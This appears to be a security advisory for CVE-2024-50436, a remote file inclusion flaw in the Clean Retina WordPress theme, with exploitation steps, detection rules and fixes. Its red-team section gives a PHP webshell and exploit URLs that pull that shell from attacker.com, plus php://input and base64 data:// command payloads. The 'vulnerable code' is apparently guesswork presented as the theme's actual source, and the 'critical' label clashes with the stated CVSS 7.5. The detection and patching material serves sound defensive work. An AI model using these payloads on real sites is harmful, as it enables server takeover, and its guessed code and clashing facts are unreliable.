CVE-2024-50436

Executive Summary

CVE-2024-50436 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Themehorse Clean Retina WordPress theme, affecting all versions up to and including 3.0.6. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers, leading to complete server compromise, data exfiltration, and potential lateral movement within the hosting environment.

The vulnerability stems from improper control of filenames used in PHP include/require statements, specifically within the theme's template loading mechanism. An attacker can manipulate the template parameter to force the theme to load a malicious PHP file hosted on an attacker-controlled server.

Given the CVSS 7.5 score and the unpatched status, this vulnerability poses a severe risk to all WordPress sites using the Clean Retina theme. The lack of a patch from the vendor (Themehorse) means site administrators must implement immediate virtual patching or disable the theme entirely.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Clean Retina theme distributed via the official WordPress theme repository. The theme is a third-party component, and the vulnerability exists within its own codebase, not in the WordPress core or server software (Apache/Nginx). The supply chain risk is elevated because:

• No official patch is available from Themehorse.
• The theme may be bundled with other plugins or themes, increasing the attack surface.
• Sites using outdated or abandoned themes are prime targets for automated scanning.

CVSS Breakdown & Threat Level

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, requires no user interaction, and can lead to full server compromise. The EPSS score of 0.0% indicates low exploitation probability currently, but this is likely due to the vulnerability being newly disclosed. Automated scanning tools will soon incorporate this CVE.

Deep Dive & Mechanics

The vulnerability resides in the theme's template loading function, likely within functions.php or a dedicated template loader. The vulnerable code pattern is:

// Vulnerable pattern in clean-retina/inc/template-loader.php
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

The attacker can supply a template parameter containing path traversal and remote inclusion payloads. For example:

http://target.com/?template=http://attacker.com/shell.txt%00

The %00 null byte (in older PHP versions) or path traversal can bypass the .php extension append. Modern PHP versions may require different techniques, such as using php://input or data:// wrappers.

Key mechanics:

1. Unsanitized input: The $_GET['template'] is directly concatenated into the include path.
2. Remote inclusion: PHP's allow_url_include must be enabled (common in shared hosting).
3. File execution: The included file is executed as PHP, giving the attacker arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (clean-retina <= 3.0.6):

// clean-retina/inc/template-loader.php
function clean_retina_load_template() {
    $template = $_GET['template'];
    include( get_template_directory() . '/templates/' . $template . '.php' );
}

Patched Code (hypothetical fix):

// Patched version
function clean_retina_load_template() {
    $allowed_templates = array('default', 'full-width', 'left-sidebar');
    $template = sanitize_file_name( $_GET['template'] );
    $template = basename( $template, '.php' );
    
    if ( in_array( $template, $allowed_templates, true ) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Fallback to default
        include( get_template_directory() . '/templates/default.php' );
    }
}

Key differences:

• Whitelist approach: Only predefined template names are allowed.
• Sanitization: sanitize_file_name() and basename() remove path traversal characters.
• Input validation: The in_array() check ensures only valid templates are loaded.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site using Clean Retina theme <= 3.0.6.
• PHP allow_url_include = On (check via phpinfo()).
• Attacker-controlled web server hosting a malicious PHP file.

Exploitation Steps:

1. Host a malicious PHP file (e.g., shell.txt) on your server:

   <?php
   system($_GET['cmd']);
   ?>
   

2. Craft the exploit URL:

   http://target.com/?template=http://attacker.com/shell.txt%00
   

3. Execute commands:

   http://target.com/?template=http://attacker.com/shell.txt%00&cmd=id
   

Alternative payloads (if null byte fails):

• Using php://input:

  POST /?template=php://input
  Content-Type: application/x-www-form-urlencoded
  <?php system($_GET['cmd']); ?>
  

• Using data:// wrapper:

  http://target.com/?template=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==&cmd=id
  

Lab Setup:

• Use Docker with WordPress + Clean Retina theme.
• Enable allow_url_include in php.ini.
• Set up a simple HTTP server (Python: python3 -m http.server 80).

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for suspicious template parameters containing URLs, php://, or data://.
2. Check for outbound connections from the web server to unknown IPs on port 80/443.
3. Review PHP error logs for failed include attempts.

Response Actions:

1. Immediately disable the Clean Retina theme and switch to a default WordPress theme.
2. Scan for webshells in the wp-content/uploads/ directory.
3. Review user accounts for unauthorized admin creation.
4. Rotate all secrets (database passwords, API keys, salts).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with template parameter containing http://, https://, php://, data://, or ftp://.
• Outbound connections to unknown IPs on port 80/443 from the web server.
• Unusual User-Agent strings in requests targeting the theme.

File System IOCs:

• Unexpected .php files in wp-content/uploads/ or /tmp/.
• Modified .htaccess files with AddType or RewriteRule directives.
• New cron jobs executing PHP files.

Log IOCs:

• PHP warnings: PHP Warning: include(): Failed opening 'http://...'
• Apache access logs: GET /?template=http://...
• System logs: sshd connections from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2024_50436_Clean_Retina_RFI {
    meta:
        description = "Detects attempts to exploit CVE-2024-50436 in Clean Retina theme"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-50436"
        severity = "critical"
    strings:
        $template_param = "template=" nocase
        $http_wrapper = /template=(http|https|ftp|php|data):\/\// nocase
        $path_traversal = /template=\.\.\// nocase
    condition:
        $template_param and ($http_wrapper or $path_traversal)
}

Sigma Rule

title: CVE-2024-50436 Clean Retina RFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Remote File Inclusion in Clean Retina theme
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'template='
    filter:
        cs-uri-query|contains:
            - 'template=default'
            - 'template=full-width'
            - 'template=left-sidebar'
    condition: selection and not filter
falsepositives:
    - Legitimate template loading with custom template names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50436 Clean Retina RFI Attempt"; flow:to_server,established; content:"template="; http_uri; pcre:"/template=(http|https|ftp|php|data):\/\//Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Clean Retina theme and switch to a default WordPress theme (Twenty Twenty-Four).
2. Implement a Web Application Firewall (WAF) rule to block template parameters containing URL schemes.
3. Set allow_url_include = Off in php.ini (requires server restart).

Long-term Fixes:

• Monitor the Themehorse website for an official patch.
• Consider forking the theme and applying the whitelist fix shown in the patched code section.
• Migrate to an actively maintained theme with similar functionality.

Virtual Patching (Nginx):

if ($args ~* "template=(http|https|ftp|php|data):") {
    return 403;
}

Virtual Patching (Apache .htaccess):

RewriteEngine On
RewriteCond %{QUERY_STRING} template=(http|https|ftp|php|data): [NC]
RewriteRule ^ - [F,L]

Valters IT - DevSecOps & Cyber Threat Intelligence